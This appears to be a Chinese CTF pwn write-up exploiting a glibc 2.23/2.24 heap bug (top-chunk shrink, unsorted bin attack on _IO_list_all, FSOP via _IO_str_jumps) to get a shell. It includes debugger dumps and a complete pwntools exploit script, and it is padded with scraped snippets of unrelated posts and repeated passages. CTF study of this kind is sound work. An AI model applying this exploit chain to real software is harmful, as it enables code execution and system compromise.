0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); 翻译过来就是—伪造的top_chunk的size要满足一下条件: size要大于MINSIZE(MINSIZE一般为0x20)size的pre_inuse位要为1old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发_int_free(),所以malloc()的大小要比这个size大一点点 通过前期的构造,我们实现了触发_int_free()函数,构造了一个free chunk在堆空间中,为下一步的Unsortedbin Attack创造了基本条件
翻译过来就是—伪造的top_chunk的size要满足一下条件:
top_chunk
size
MINSIZE
0x20
pre_inuse
1
old_top + size
16
0
0x632000
malloc()
通过前期的构造,我们实现了触发_int_free()函数,构造了一个free chunk在堆空间中,为下一步的Unsortedbin Attack创造了基本条件
Unsortedbin Attack
利用get()函数溢出发起Unsortedbin Attack 前面创造的free chunk如下所示: pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000f41 ........A....... <-- unsortedbin[all][0] 0x5555557560b0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560c0 0x0000000000000000 0x0000000000000000 ................ 再次malloc(0x20)之后得到 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!...... 0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU.. 0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0] 0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560f0 0x0000000000000000 0x0000000000000000 ................ 得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0] pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 